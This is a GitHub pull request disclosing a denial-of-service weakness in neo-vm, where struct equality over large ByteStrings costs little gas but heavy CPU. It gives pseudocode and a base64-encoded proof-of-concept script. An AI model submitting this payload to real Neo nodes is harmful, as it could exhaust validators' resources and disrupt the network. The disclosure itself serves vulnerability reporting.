Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

neo-vm ddos using struct's equal #20

Merged
merged 2 commits into from
Apr 22, 2022
Merged

neo-vm ddos using struct's equal #20

merged 2 commits into from
Apr 22, 2022

Conversation

dusmart
Copy link
Contributor

@dusmart dusmart commented Mar 28, 2022

neo-vm struct's equal is too cheap

neo-vm struct's equal is too cheap
@dusmart
Copy link
Contributor Author

dusmart commented Mar 28, 2022

DDOS in neo-vm using struct's equal method

Struct equal combined with ByteString in neo-vm spends huge cpu resources which can exhaust time.

s1 = 'h' * 65535            // len(s1) == 65535, ByteString.MaxComparableSize = 65535
t1 = {s1, s1, ... , s1}     // len(t1) == 1000, ExecutionEngineLimits.MaxStackSize = 2048
s2 = 'h' * 65535
t2 = {s2, s2, ... , s2}

t1.equals(t2)               // this opcode is very cheap while spends lots of cpu resources

POC: DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJQwwAAEk0STZdFnUol+P///0k=

Ref: #20

@vang1ong7ang vang1ong7ang merged commit baa5e65 into lazynode:main Apr 22, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants